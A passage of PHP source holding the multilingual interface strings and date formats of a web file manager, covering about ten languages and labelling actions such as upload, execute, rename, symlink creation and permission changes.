'copy_files' => 'Copier ces fichiers:', 'copied' => "Ces fichiers ont \xc3\xa9t\xc3\xa9 copi\xc3\xa9s en \"[%2]\":\n[%1]", 'not_copied' => "Ces fichiers n ont pas pu \xc3\xaatre copi\xc3\xa9s en \"[%2]\":\n[%1]", 'not_edited' => '"[%1]" ne peut être ouvert.', 'executed' => "\"[%1]\" a \xc3\xa9t\xc3\xa9 brillamment ex\xc3\xa9cut\xc3\xa9 :\n{%2}", 'not_executed' => "\"[%1]\" n a pas pu \xc3\xaatre ex\xc3\xa9cut\xc3\xa9:\n{%2}", 'saved' => '"[%1]" a été sauvegardé.', 'not_saved' => '"[%1]" n a pas pu être sauvegardé.', 'symlinked' => 'Un lien symbolique depuis "[%2]" vers "[%1]" a été crée.', 'not_symlinked' => 'Un lien symbolique depuis "[%2]" vers "[%1]" n a pas pu être créé.', 'permission_for' => 'Droits de "[%1]":', 'permission_set' => 'Droits de "[%1]" ont été changés en [%2].', 'permission_not_set' => 'Droits de "[%1]" n ont pas pu être changés en[%2].', 'not_readable' => '"[%1]" ne peut pas être ouvert.');
            case 'it':
                $date_format = 'd-m-Y H:i:s';
                return array('directory' => 'Directory', 'file' => 'File', 'filename' => 'Nome File', 'size' => 'Dimensioni', 'permission' => 'Permessi', 'owner' => 'Proprietario', 'group' => 'Gruppo', 'other' => 'Altro', 'functions' => 'Funzioni', 'read' => 'leggi', 'write' => 'scrivi', 'execute' => 'esegui', 'create_symlink' => 'crea link simbolico', 'delete' => 'cancella', 'rename' => 'rinomina', 'move' => 'sposta', 'copy' => 'copia', 'edit' => 'modifica', 'download' => 'download', 'upload' => 'upload', 'create' => 'crea', 'change' => 'cambia', 'save' => 'salva', 'set' => 'imposta', 'reset' => 'reimposta', 'relative' => 'Percorso relativo per la destinazione', 'yes' => 'Si', 'no' => 'No', 'back' => 'indietro', 'destination' => 'Destinazione', 'symlink' => 'Link simbolico', 'no_output' => 'no output', 'user' => 'User', 'password' => 'Password', 'add' => 'aggiungi', 'add_basic_auth' => 'aggiungi autenticazione base', 'uploaded' => '"[%1]" è stato caricato.', 'not_uploaded' => '"[%1]" non è stato caricato.', 'already_exists' => '"[%1]" esiste già.', 'created' => '"[%1]" è stato creato.', 'not_created' => '"[%1]" non è stato creato.', 'really_delete' => 'Cancello questi file ?', 'deleted' => "Questi file sono stati cancellati:\n[%1]", 'not_deleted' => "Questi file non possono essere cancellati:\n[%1]", 'rename_file' => 'File rinominato:', 'renamed' => '"[%1]" è stato rinominato in "[%2]".', 'not_renamed' => '"[%1] non è stato rinominato in "[%2]".', 'move_files' => 'Sposto questi file:', 'moved' => "Questi file sono stati spostati in \"[%2]\":\n[%1]", 'not_moved' => "Questi file non possono essere spostati in \"[%2]\":\n[%1]", 'copy_files' => 'Copio questi file', 'copied' => "Questi file sono stati copiati in \"[%2]\":\n[%1]", 'not_copied' => "Questi file non possono essere copiati in \"[%2]\":\n[%1]", 'not_edited' => '"[%1]" non può essere modificato.', 'executed' => "\"[%1]\" \xc3\xa8 stato eseguito con successo:\n{%2}", 'not_executed' => "\"[%1]\" non \xc3\xa8 stato eseguito con successo\n{%2}", 'saved' => '"[%1]" è stato salvato.', 'not_saved' => '"[%1]" non è stato salvato.', 'symlinked' => 'Il link siambolico da "[%2]" a "[%1]" è stato creato.', 'not_symlinked' => 'Il link siambolico da "[%2]" a "[%1]" non è stato creato.', 'permission_for' => 'Permessi di "[%1]":', 'permission_set' => 'I permessi di "[%1]" sono stati impostati [%2].', 'permission_not_set' => 'I permessi di "[%1]" non sono stati impostati [%2].', 'not_readable' => '"[%1]" non può essere letto.');
            case 'nl':
                $date_format = 'n/j/y H:i:s';
                return array('directory' => 'Directory', 'file' => 'Bestand', 'filename' => 'Bestandsnaam', 'size' => 'Grootte', 'permission' => 'Bevoegdheid', 'owner' => 'Eigenaar', 'group' => 'Groep', 'other' => 'Anderen', 'functions' => 'Functies', 'read' => 'lezen', 'write' => 'schrijven', 'execute' => 'uitvoeren', 'create_symlink' => 'maak symlink', 'delete' => 'verwijderen', 'rename' => 'hernoemen', 'move' => 'verplaatsen', 'copy' => 'kopieren', 'edit' => 'bewerken', 'download' => 'downloaden', 'upload' => 'uploaden', 'create' => 'aanmaken', 'change' => 'veranderen', 'save' => 'opslaan', 'set' => 'instellen', 'reset' => 'resetten', 'relative' => 'Relatief pat naar doel', 'yes' => 'Ja', 'no' => 'Nee', 'back' => 'terug', 'destination' => 'Bestemming', 'symlink' => 'Symlink', 'no_output' => 'geen output', 'user' => 'Gebruiker', 'password' => 'Wachtwoord', 'add' => 'toevoegen', 'add_basic_auth' => 'add basic-authentification', 'uploaded' => '"[%1]" is verstuurd.', 'not_uploaded' => '"[%1]" kan niet worden verstuurd.', 'already_exists' => '"[%1]" bestaat al.', 'created' => '"[%1]" is aangemaakt.', 'not_created' => '"[%1]" kan niet worden aangemaakt.', 'really_delete' => 'Deze bestanden verwijderen?', 'deleted' => "Deze bestanden zijn verwijderd:\n[%1]", 'not_deleted' => "Deze bestanden konden niet worden verwijderd:\n[%1]", 'rename_file' => 'Bestandsnaam veranderen:', 'renamed' => '"[%1]" heet nu "[%2]".', 'not_renamed' => '"[%1] kon niet worden veranderd in "[%2]".', 'move_files' => 'Verplaats deze bestanden:', 'moved' => "Deze bestanden zijn verplaatst naar \"[%2]\":\n[%1]", 'not_moved' => "Kan deze bestanden niet verplaatsen naar \"[%2]\":\n[%1]", 'copy_files' => 'Kopieer deze bestanden:', 'copied' => "Deze bestanden zijn gekopieerd naar \"[%2]\":\n[%1]", 'not_copied' => "Deze bestanden kunnen niet worden gekopieerd naar \"[%2]\":\n[%1]", 'not_edited' => '"[%1]" kan niet worden bewerkt.', 'executed' => "\"[%1]\" is met succes uitgevoerd:\n{%2}", 'not_executed' => "\"[%1]\" is niet goed uitgevoerd:\n{%2}", 'saved' => '"[%1]" is opgeslagen.', 'not_saved' => '"[%1]" is niet opgeslagen.', 'symlinked' => 'Symlink van "[%2]" naar "[%1]" is aangemaakt.', 'not_symlinked' => 'Symlink van "[%2]" naar "[%1]" is niet aangemaakt.', 'permission_for' => 'Bevoegdheid voor "[%1]":', 'permission_set' => 'Bevoegdheid van "[%1]" is ingesteld op [%2].', 'permission_not_set' => 'Bevoegdheid van "[%1]" is niet ingesteld op [%2].', 'not_readable' => '"[%1]" kan niet worden gelezen.');
            case 'se':
                $date_format = 'n/j/y H:i:s';
                return array('directory' => 'Mapp', 'file' => 'Fil', 'filename' => 'Filnamn', 'size' => 'Storlek', 'permission' => 'Säkerhetsnivå', 'owner' => 'Ägare', 'group' => 'Grupp', 'other' => 'Andra', 'functions' => 'Funktioner', 'read' => 'Läs', 'write' => 'Skriv', 'execute' => 'Utför', 'create_symlink' => 'Skapa symlink', 'delete' => 'Radera', 'rename' => 'Byt namn', 'move' => 'Flytta', 'copy' => 'Kopiera', 'edit' => 'Ändra', 'download' => 'Ladda ner', 'upload' => 'Ladda upp', 'create' => 'Skapa', 'change' => 'Ändra', 'save' => 'Spara', 'set' => 'Markera', 'reset' => 'Töm', 'relative' => 'Relative path to target', 'yes' => 'Ja', 'no' => 'Nej', 'back' => 'Tillbaks', 'destination' => 'Destination', 'symlink' => 'Symlink', 'no_output' => 'no output', 'user' => 'Användare', 'password' => 'Lösenord', 'add' => 'Lägg till', 'add_basic_auth' => 'add basic-authentification', 'uploaded' => '"[%1]" har laddats upp.', 'not_uploaded' => '"[%1]" kunde inte laddas upp.', 'already_exists' => '"[%1]" finns redan.', 'created' => '"[%1]" har skapats.', 'not_created' => '"[%1]" kunde inte skapas.', 'really_delete' => 'Radera dessa filer?', 'deleted' => "De h\xc3\xa4r filerna har raderats:\n[%1]", 'not_deleted' => "Dessa filer kunde inte raderas:\n[%1]", 'rename_file' => 'Byt namn på fil:', 'renamed' => '"[%1]" har bytt namn till "[%2]".', 'not_renamed' => '"[%1] kunde inte döpas om till "[%2]".', 'move_files' => 'Flytta dessa filer:', 'moved' => "Dessa filer har flyttats till \"[%2]\":\n[%1]", 'not_moved' => "Dessa filer kunde inte flyttas till \"[%2]\":\n[%1]", 'copy_files' => 'Kopiera dessa filer:', 'copied' => "Dessa filer har kopierats till \"[%2]\":\n[%1]", 'not_copied' => "Dessa filer kunde inte kopieras till \"[%2]\":\n[%1]", 'not_edited' => '"[%1]" kan inte ändras.', 'executed' => "\"[%1]\" har utf\xc3\xb6rts:\n{%2}", 'not_executed' => "\"[%1]\" kunde inte utf\xc3\xb6ras:\n{%2}", 'saved' => '"[%1]" har sparats.', 'not_saved' => '"[%1]" kunde inte sparas.', 'symlinked' => 'Symlink från "[%2]" till "[%1]" har skapats.', 'not_symlinked' => 'Symlink från "[%2]" till "[%1]" kunde inte skapas.', 'permission_for' => 'Rättigheter för "[%1]":', 'permission_set' => 'Rättigheter för "[%1]" ändrades till [%2].', 'permission_not_set' => 'Permission of "[%1]" could not be set to [%2].', 'not_readable' => '"[%1]" kan inte läsas.');
            case 'sp':
                $date_format = 'j/n/y H:i:s';
                return array('directory' => 'Directorio', 'file' => 'Archivo', 'filename' => 'Nombre Archivo', 'size' => 'Tamaño', 'permission' => 'Permisos', 'owner' => 'Propietario', 'group' => 'Grupo', 'other' => 'Otros', 'functions' => 'Funciones', 'read' => 'lectura', 'write' => 'escritura', 'execute' => 'ejecución', 'create_symlink' => 'crear enlace', 'delete' => 'borrar', 'rename' => 'renombrar', 'move' => 'mover', 'copy' => 'copiar', 'edit' => 'editar', 'download' => 'bajar', 'upload' => 'subir', 'create' => 'crear', 'change' => 'cambiar', 'save' => 'salvar', 'set' => 'setear', 'reset' => 'resetear', 'relative' => 'Path relativo', 'yes' => 'Si', 'no' => 'No', 'back' => 'atrás', 'destination' => 'Destino', 'symlink' => 'Enlace', 'no_output' => 'sin salida', 'user' => 'Usuario', 'password' => 'Clave', 'add' => 'agregar', 'add_basic_auth' => 'agregar autentificación básica', 'uploaded' => '"[%1]" ha sido subido.', 'not_uploaded' => '"[%1]" no pudo ser subido.', 'already_exists' => '"[%1]" ya existe.', 'created' => '"[%1]" ha sido creado.', 'not_created' => '"[%1]" no pudo ser creado.', 'really_delete' => '¿Borra estos archivos?', 'deleted' => "Estos archivos han sido borrados:\n[%1]", 'not_deleted' => "Estos archivos no pudieron ser borrados:\n[%1]", 'rename_file' => 'Renombra archivo:', 'renamed' => '"[%1]" ha sido renombrado a "[%2]".', 'not_renamed' => '"[%1] no pudo ser renombrado a "[%2]".', 'move_files' => 'Mover estos archivos:', 'moved' => "Estos archivos han sido movidos a \"[%2]\":\n[%1]", 'not_moved' => "Estos archivos no pudieron ser movidos a \"[%2]\":\n[%1]", 'copy_files' => 'Copiar estos archivos:', 'copied' => "Estos archivos han sido copiados a  \"[%2]\":\n[%1]", 'not_copied' => "Estos archivos no pudieron ser copiados \"[%2]\":\n[%1]", 'not_edited' => '"[%1]" no pudo ser editado.', 'executed' => "\"[%1]\" ha sido ejecutado correctamente:\n{%2}", 'not_executed' => "\"[%1]\" no pudo ser ejecutado correctamente:\n{%2}", 'saved' => '"[%1]" ha sido salvado.', 'not_saved' => '"[%1]" no pudo ser salvado.', 'symlinked' => 'Enlace desde "[%2]" a "[%1]" ha sido creado.', 'not_symlinked' => 'Enlace desde "[%2]" a "[%1]" no pudo ser creado.', 'permission_for' => 'Permisos de "[%1]":', 'permission_set' => 'Permisos de "[%1]" fueron seteados a [%2].', 'permission_not_set' => 'Permisos de "[%1]" no pudo ser seteado a [%2].', 'not_readable' => '"[%1]" no pudo ser leído.');
            case 'dk':
                $date_format = 'n/j/y H:i:s';
                return array('directory' => 'Mappe', 'file' => 'Fil', 'filename' => 'Filnavn', 'size' => 'Størrelse', 'permission' => 'Rettighed', 'owner' => 'Ejer', 'group' => 'Gruppe', 'other' => 'Andre', 'functions' => 'Funktioner', 'read' => 'læs', 'write' => 'skriv', 'execute' => 'kør', 'create_symlink' => 'opret symbolsk link', 'delete' => 'slet', 'rename' => 'omdøb', 'move' => 'flyt', 'copy' => 'kopier', 'edit' => 'rediger', 'download' => 'download', 'upload' => 'upload', 'create' => 'opret', 'change' => 'skift', 'save' => 'gem', 'set' => 'sæt', 'reset' => 'nulstil', 'relative' => 'Relativ sti til valg', 'yes' => 'Ja', 'no' => 'Nej', 'back' => 'tilbage', 'destination' => 'Distination', 'symlink' => 'Symbolsk link', 'no_output' => 'ingen resultat', 'user' => 'Bruger', 'password' => 'Kodeord', 'add' => 'tilføj', 'add_basic_auth' => 'tilføj grundliggende rettigheder', 'uploaded' => '"[%1]" er blevet uploaded.', 'not_uploaded' => '"[%1]" kunnu ikke uploades.', 'already_exists' => '"[%1]" findes allerede.', 'created' => '"[%1]" er blevet oprettet.', 'not_created' => '"[%1]" kunne ikke oprettes.', 'really_delete' => 'Slet disse filer?', 'deleted' => "Disse filer er blevet slettet:\n[%1]", 'not_deleted' => "Disse filer kunne ikke slettes:\n[%1]", 'rename_file' => 'Omdød fil:', 'renamed' => '"[%1]" er blevet omdøbt til "[%2]".', 'not_renamed' => '"[%1] kunne ikke omdøbes til "[%2]".', 'move_files' => 'Flyt disse filer:', 'moved' => "Disse filer er blevet flyttet til \"[%2]\":\n[%1]", 'not_moved' => "Disse filer kunne ikke flyttes til \"[%2]\":\n[%1]", 'copy_files' => 'Kopier disse filer:', 'copied' => "Disse filer er kopieret til \"[%2]\":\n[%1]", 'not_copied' => "Disse filer kunne ikke kopieres til \"[%2]\":\n[%1]", 'not_edited' => '"[%1]" kan ikke redigeres.', 'executed' => "\"[%1]\" er blevet k\xc3\xb8rt korrekt:\n{%2}", 'not_executed' => "\"[%1]\" kan ikke k\xc3\xb8res korrekt:\n{%2}", 'saved' => '"[%1]" er blevet gemt.', 'not_saved' => '"[%1]" kunne ikke gemmes.', 'symlinked' => 'Symbolsk link fra "[%2]" til "[%1]" er blevet oprettet.', 'not_symlinked' => 'Symbolsk link fra "[%2]" til "[%1]" kunne ikke oprettes.', 'permission_for' => 'Rettigheder for "[%1]":', 'permission_set' => 'Rettigheder for "[%1]" blev sat til [%2].', 'permission_not_set' => 'Rettigheder for "[%1]" kunne ikke sættes til [%2].', 'not_readable' => '"[%1]" Kan ikke læses.');
            case 'tr':
                $date_format = 'n/j/y H:i:s';
                return array('directory' => 'Klasör', 'file' => 'Dosya', 'filename' => 'dosya adi', 'size' => 'boyutu', 'permission' => 'Izin', 'owner' => 'sahib', 'group' => 'Grup', 'other' => 'Digerleri', 'functions' => 'Fonksiyonlar', 'read' => 'oku', 'write' => 'yaz', 'execute' => 'çalistir', 'create_symlink' => 'yarat symlink', 'delete' => 'sil', 'rename' => 'ad degistir', 'move' => 'tasi', 'copy' => 'kopyala', 'edit' => 'düzenle', 'download' => 'indir', 'upload' => 'yükle', 'create' => 'create', 'change' => 'degistir', 'save' => 'kaydet', 'set' => 'ayar', 'reset' => 'sifirla', 'relative' => 'Hedef yola göre', 'yes' => 'Evet', 'no' => 'Hayir', 'back' => 'Geri', 'destination' => 'Hedef', 'symlink' => 'Kýsa yol', 'no_output' => 'çikti yok', 'user' => 'Kullanici', 'password' => 'Sifre', 'add' => 'ekle', 'add_basic_auth' => 'ekle basit-authentification', 'uploaded' => '"[%1]" yüklendi.', 'not_uploaded' => '"[%1]" yüklenemedi.', 'already_exists' => '"[%1]" kullanilmakta.', 'created' => '"[%1]" olusturuldu.', 'not_created' => '"[%1]" olusturulamadi.', 'really_delete' => 'Bu dosyalari silmek istediginizden eminmisiniz?', 'deleted' => "Bu dosyalar silindi:\n[%1]", 'not_deleted' => "Bu dosyalar silinemedi:\n[%1]", 'rename_file' => 'Adi degisen dosya:', 'renamed' => '"[%1]" adili dosyanin yeni adi "[%2]".', 'not_renamed' => '"[%1] adi degistirilemedi "[%2]" ile.', 'move_files' => 'Tasinan dosyalar:', 'moved' => "Bu dosyalari tasidiginiz yer \"[%2]\":\n[%1]", 'not_moved' => "Bu dosyalari tasiyamadiginiz yer \"[%2]\":\n[%1]", 'copy_files' => 'Kopyalanan dosyalar:', 'copied' => "Bu dosyalar kopyalandi \"[%2]\":\n[%1]", 'not_copied' => "Bu dosyalar kopyalanamiyor \"[%2]\":\n[%1]", 'not_edited' => '"[%1]" düzenlenemiyor.', 'executed' => "\"[%1]\" basariyla \xc3\xa7alistirildi:\n{%2}", 'not_executed' => "\"[%1]\" \xc3\xa7alistirilamadi:\n{%2}", 'saved' => '"[%1]" kaydedildi.', 'not_saved' => '"[%1]" kaydedilemedi.', 'symlinked' => '"[%2]" den "[%1]" e kýsayol oluþturuldu.', 'not_symlinked' => '"[%2]"den "[%1]" e kýsayol oluþturulamadý.', 'permission_for' => 'Izinler "[%1]":', 'permission_set' => 'Izinler "[%1]" degistirildi [%2].', 'permission_not_set' => 'Izinler "[%1]" degistirilemedi [%2].', 'not_readable' => '"[%1]" okunamiyor.');
            case 'cs':
                $date_format = 'd.m.y H:i:s';
                return array('directory' => 'Adresář', 'file' => 'Soubor', 'filename' => 'Jméno souboru', 'size' => 'Velikost', 'permission' => 'Práva', 'owner' => 'Vlastník', 'group' => 'Skupina', 'other' => 'Ostatní', 'functions' => 'Funkce', 'read' => 'Čtení', 'write' => 'Zápis', 'execute' => 'Spouštění', 'create_symlink' => 'Vytvořit symbolický odkaz', 'delete' => 'Smazat', 'rename' => 'Přejmenovat', 'move' => 'Přesunout', 'copy' => 'Zkopírovat', 'edit' => 'Otevřít', 'download' => 'Stáhnout', 'upload' => 'Nahraj na server', 'create' => 'Vytvořit', 'change' => 'Změnit', 'save' => 'Uložit', 'set' => 'Nastavit', 'reset' => 'zpět', 'relative' => 'Relatif', 'yes' => 'Ano', 'no' => 'Ne', 'back' => 'Zpět', 'destination' => 'Destination', 'symlink' => 'Symbolický odkaz', 'no_output' => 'Prázdný výstup', 'user' => 'Uživatel', 'password' => 'Heslo', 'add' => 'Přidat', 'add_basic_auth' => 'přidej základní autentizaci', 'uploaded' => 'Soubor "[%1]" byl nahrán na server.', 'not_uploaded' => 'Soubor "[%1]" nebyl nahrán na server.', 'already_exists' => 'Soubor "[%1]" už exituje.', 'created' => 'Soubor "[%1]" byl vytvořen.', 'not_created' => 'Soubor "[%1]" nemohl být  vytvořen.', 'really_delete' => 'Vymazat soubor?', 'deleted' => "Byly vymaz\xc3\xa1ny tyto soubory:\n[%1]", 'not_deleted' => "Tyto soubory nemohly b\xc3\xbdt vytvo\xc5\x99eny:\n[%1]", 'rename_file' => 'Přejmenuj soubory:', 'renamed' => 'Soubor "[%1]" byl přejmenován na "[%2]".', 'not_renamed' => 'Soubor "[%1]" nemohl být přejmenován na "[%2]".', 'move_files' => 'Přemístit tyto soubory:', 'moved' => "Tyto soubory byly p\xc5\x99em\xc3\xadst\xc4\x9bny do \"[%2]\":\n[%1]", 'not_moved' => "Tyto soubory nemohly b\xc3\xbdt p\xc5\x99em\xc3\xadst\xc4\x9bny do \"[%2]\":\n[%1]", 'copy_files' => 'Zkopírovat tyto soubory:', 'copied' => "Tyto soubory byly zkop\xc3\xadrov\xc3\xa1ny do \"[%2]\":\n[%1]", 'not_copied' => "Tyto soubory nemohly b\xc3\xbdt zkop\xc3\xadrov\xc3\xa1ny do \"[%2]\":\n[%1]", 'not_edited' => 'Soubor "[%1]" nemohl být otevřen.', 'executed' => "SOubor \"[%1]\" byl spu\xc5\xa1t\xc4\x9bn :\n{%2}", 'not_executed' => "Soubor \"[%1]\" nemohl b\xc3\xbdt spu\xc5\xa1t\xc4\x9bn:\n{%2}", 'saved' => 'Soubor "[%1]" byl uložen.', 'not_saved' => 'Soubor "[%1]" nemohl být uložen.', 'symlinked' => 'Byl vyvořen symbolický odkaz "[%2]" na soubor "[%1]".', 'not_symlinked' => 'Symbolický odkaz "[%2]" na soubor "[%1]" nemohl být vytvořen.', 'permission_for' => 'Práva k "[%1]":', 'permission_set' => 'Práva k "[%1]" byla změněna na [%2].', 'permission_not_set' => 'Práva k "[%1]" nemohla být změněna na [%2].', 'not_readable' => 'Soubor "[%1]" není možno přečíst.');
            case 'ru':
                $date_format = 'd.m.y H:i:s';
                return array('directory' => 'Каталог', 'file' => 'Файл', 'filename' => 'Имя файла', 'size' => 'Размер', 'permission' => 'Права', 'owner' => 'Хозяин', 'group' => 'Группа', 'other' => 'Другие', 'functions' => 'Функция', 'read' => 'читать', 'write' => 'писать', 'execute' => 'выполнить', 'create_symlink' => 'Сделать симлинк', 'delete' => 'удалить', 'rename' => 'переименовать', 'move' => 'передвинуть', 'copy' => 'копировать', 'edit' => 'редактировать', 'download' => 'скачать', 'upload' => 'закачать', 'create' => 'сделать', 'change' => 'поменять', 'save' => 'сохранить', 'set' => 'установить', 'reset' => 'сбросить', 'relative' => 'относительный путь к цели', 'yes' => 'да', 'no' => 'нет', 'back' => 'назад', 'destination' => 'цель', 'symlink' => 'символический линк', 'no_output' => 'нет вывода', 'user' => 'Пользователь', 'password' => 'Пароль', 'add' => 'добавить', 'add_basic_auth' => 'Добавить HTTP-Basic-Auth', 'uploaded' => '"[%1]" был закачен.', 'not_uploaded' => '"[%1]" невозможно было закачять.', 'already_exists' => '"[%1]" уже существует.', 'created' => '"[%1]" был сделан.', 'not_created' => '"[%1]" не возможно сделать.', 'really_delete' => 'Действительно этот файл удалить?', 'deleted' => "\xd0\xa1\xd0\xbb\xd0\xb5\xd0\xb4\xd1\x83\xd1\x8e\xd1\x89\xd0\xb8\xd0\xb5 \xd1\x84\xd0\xb0\xd0\xb9\xd0\xbb\xd1\x8b \xd0\xb1\xd1\x8b\xd0\xbb\xd0\xb8 \xd1\x83\xd0\xb4\xd0\xb0\xd0\xbb\xd0\xb5\xd0\xbd\xd1\x8b:\n[%1]", 'not_deleted' => "\xd0\xa1\xd0\xbb\xd0\xb5\xd0\xb4\xd1\x83\xd1\x8e\xd1\x89\xd0\xb8\xd0\xb5 \xd1\x84\xd0\xb0\xd0\xb9\xd0\xbb\xd1\x8b \xd0\xbd\xd0\xb5 \xd0\xb2\xd0\xbe\xd0\xb7\xd0\xbc\xd0\xbe\xd0\xb6\xd0\xbd\xd0\xbe \xd0\xb1\xd1\x8b\xd0\xbb\xd0\xbe \xd1\x83\xd0\xb4\xd0\xb0\xd0\xbb\xd0\xb8\xd1\x82\xd1\x8c:\n[%1]", 'rename_file' => 'Переименовываю файл:', 'renamed' => '"[%1]" был переименован на "[%2]".', 'not_renamed' => '"[%1] невозможно было переименовать на "[%2]".', 'move_files' => 'Передвигаю следующие файлы:', 'moved' => "\xd0\xa1\xd0\xbb\xd0\xb5\xd0\xb4\xd1\x83\xd1\x8e\xd1\x89\xd0\xb8\xd0\xb5 \xd1\x84\xd0\xb0\xd0\xb9\xd0\xbb\xd1\x8b \xd0\xb1\xd1\x8b\xd0\xbb\xd0\xb8 \xd0\xbf\xd0\xb5\xd1\x80\xd0\xb5\xd0\xb4\xd0\xb2\xd0\xb8\xd0\xbd\xd1\x83\xd1\x82\xd1\x8b \xd0\xb2 \xd0\xba\xd0\xb0\xd1\x82\xd0\xb0\xd0\xbb\xd0\xbe\xd0\xb3 \"[%2]\":\n[%1]", 'not_moved' => "\xd0\xa1\xd0\xbb\xd0\xb5\xd0\xb4\xd1\x83\xd1\x8e\xd1\x89\xd0\xb8\xd0\xb5 \xd1\x84\xd0\xb0\xd0\xb9\xd0\xbb\xd1\x8b \xd0\xbd\xd0\xb5\xd0\xb2\xd0\xbe\xd0\xb7\xd0\xbc\xd0\xbe\xd0\xb6\xd0\xbd\xd0\xbe \xd0\xb1\xd1\x8b\xd0\xbb\xd0\xbe \xd0\xbf\xd0\xb5\xd1\x80\xd0\xb5\xd0\xb4\xd0\xb2\xd0\xb8\xd0\xbd\xd1\x83\xd1\x82\xd1\x8c \xd0\xb2 \xd0\xba\xd0\xb0\xd1\x82\xd0\xb0\xd0\xbb\xd0\xbe\xd0\xb3 \"[%2]\":\n[%1]", 'copy_files' => 'Копирую следущие файлы:', 'copied' => "\xd0\xa1\xd0\xbb\xd0\xb5\xd0\xb4\xd1\x83\xd1\x89\xd0\xb8\xd0\xb5 \xd1\x84\xd0\xb0\xd0\xb9\xd0\xbb\xd1\x8b \xd0\xb1\xd1\x8b\xd0\xbb\xd1\x8b \xd1\x81\xd0\xba\xd0\xbe\xd0\xbf\xd0\xb8\xd1\x80\xd0\xbe\xd0\xb2\xd0\xb0\xd0\xbd\xd1\x8b \xd0\xb2 \xd0\xba\xd0\xb0\xd1\x82\xd0\xb0\xd0\xbb\xd0\xbe\xd0\xb3 \"[%2]\" :\n[%1]", 'not_copied' => "\xd0\xa1\xd0\xbb\xd0\xb5\xd0\xb4\xd1\x83\xd1\x8e\xd1\x89\xd0\xb8\xd0\xb5 \xd1\x84\xd0\xb0\xd0\xb9\xd0\xbb\xd1\x8b \xd0\xbd\xd0\xb5\xd0\xb2\xd0\xbe\xd0\xb7\xd0\xbc\xd0\xbe\xd0\xb6\xd0\xbd\xd0\xbe \xd0\xb1\xd1\x8b\xd0\xbb\xd0\xbe \xd1\x81\xd0\xba\xd0\xbe\xd0\xbf\xd0\xb8\xd1\x80\xd0\xbe\xd0\xb2\xd0\xb0\xd1\x82\xd1\x8c \xd0\xb2 \xd0\xba\xd0\xb0\xd1\x82\xd0\xb0\xd0\xbb\xd0\xbe\xd0\xb3 \"[%2]\" :\n[%1]", 'not_edited' => '"[%1]" не может быть отредактирован.', 'executed' => "\"[%1]\" \xd0\xb1\xd1\x8b\xd0\xbb \xd1\x83\xd1\x81\xd0\xbf\xd0\xb5\xd1\x88\xd0\xbd\xd0\xbe \xd0\xb8\xd1\x81\xd0\xbf\xd0\xbe\xd0\xbb\xd0\xbd\xd0\xb5\xd0\xbd:\n{%2}", 'not_executed' => "\"[%1]\" \xd0\xbd\xd0\xb5\xd0\xb2\xd0\xbe\xd0\xb7\xd0\xbc\xd0\xbe\xd0\xb6\xd0\xbd\xd0\xbe \xd0\xb1\xd1\x8b\xd0\xbb\xd0\xbe \xd0\xb7\xd0\xb0\xd0\xbf\xd1\x83\xd1\x81\xd1\x82\xd0\xb8\xd1\x82\xd1\x8c \xd0\xbd\xd0\xb0 \xd0\xb8\xd1\x81\xd0\xbf\xd0\xbe\xd0\xbb\xd0\xbd\xd0\xb5\xd0\xbd\xd0\xb8\xd0\xb5:\n{%2}", 'saved' => '"[%1]" был сохранен.', 'not_saved' => '"[%1]" невозможно было сохранить.', 'symlinked' => 'Симлинк с "[%2]" на "[%1]" был сделан.', 'not_symlinked' => 'Невозможно было сделать симлинк с "[%2]" на "[%1]".', 'permission_for' => 'Права доступа "[%1]":', 'permission_set' => 'Права доступа "[%1]" были изменены на [%2].', 'permission_not_set' => 'Невозможно было изменить права доступа к "[%1]" на [%2] .', 'not_readable' => '"[%1]" невозможно прочитать.');
            case 'pl':
                $date_format = 'd.m.y H:i:s';
                return array('directory' => 'Katalog', 'file' => 'Plik', 'filename' => 'Nazwa pliku', 'size' => 'Rozmiar', 'permission' => 'Uprawnienia', 'owner' => 'Właściciel', 'group' => 'Grupa', 'other' => 'Inni', 'functions' => 'Funkcje', 'read' => 'odczyt', 'write' => 'zapis', 'execute' => 'wykonywanie', 'create_symlink' => 'utwórz dowiązanie symboliczne', 'delete' => 'kasuj', 'rename' => 'zamień', 'move' => 'przenieś', 'copy' => 'kopiuj', 'edit' => 'edytuj', 'download' => 'pobierz', 'upload' => 'Prześlij', 'create' => 'Utwórz', 'change' => 'Zmień', 'save' => 'Zapisz', 'set' => 'wykonaj', 'reset' => 'wyczyść', 'relative' => 'względna ścieżka do celu', 'yes' => 'Tak', 'no' => 'Nie', 'back' => 'cofnij', 'destination' => 'miejsce przeznaczenia', 'symlink' => 'dowiązanie symboliczne', 'no_output' => 'nie ma wyjścia', 'user' => 'Urzytkownik', 'password' => 'Hasło', 'add' => 'dodaj', 'add_basic_auth' => 'dodaj podstawowe uwierzytelnianie', 'uploaded' => '"[%1]" został przesłany.', 'not_uploaded' => '"[%1]" nie może być przesłane.', 'already_exists' => '"[%1]" już istnieje.', 'created' => '"[%1]" został utworzony.', 'not_created' => '"[%1]" nie można utworzyć.', 'really_delete' => 'usunąć te pliki?', 'deleted' => "Pliki zosta\xc5\x82y usuni\xc4\x99te:\n[%1]", 'not_deleted' => "Te pliki nie mog\xc4\x85 by\xc4\x87 usuni\xc4\x99te:\n[%1]", 'rename_file' => 'Zmień nazwę pliku:', 'renamed' => '"[%1]" zostało zmienione na "[%2]".', 'not_renamed' => '"[%1] nie można zmienić na "[%2]".', 'move_files' => 'Przenieś te pliki:', 'moved' => "Pliki zosta\xc5\x82y przeniesione do \"[%2]\":\n[%1]", 'not_moved' => "Pliki nie mog\xc4\x85 by\xc4\x87 przeniesione do \"[%2]\":\n[%1]", 'copy_files' => 'Skopiuj te pliki:', 'copied' => "Pliki zosta\xc5\x82y skopiowane \"[%2]\":\n[%1]", 'not_copied' => "Te pliki nie mog\xc4\x85 by\xc4\x87 kopiowane do \"[%2]\":\n[%1]", 'not_edited' => '"[%1]" nie można edytować.', 'executed' => "\"[%1]\" zosta\xc5\x82o wykonane pomy\xc5\x9blnie:\n{%2}", 'not_executed' => "\"[%1]\" nie mo\xc5\xbce by\xc4\x87 wykonane:\n{%2}", 'saved' => '"[%1]" został zapisany.', 'not_saved' => '"[%1]" nie można zapisać.', 'symlinked' => 'Dowiązanie symboliczne "[%2]" do "[%1]" zostało utworzone.', 'not_symlinked' => 'Dowiązanie symboliczne "[%2]" do "[%1]" nie moze być utworzone.', 'permission_for' => 'Uprawnienia "[%1]":', 'permission_set' => 'Uprawnienia "[%1]" zostały ustalone na [%2].', 'permission_not_set' => 'Uprawnienia "[%1]" nie mogą być ustawione na [%2].', 'not_readable' => '"[%1]" nie można odczytać.');
            case 'en':
            default:
                $date_format = 'n/j/y H:i:s';
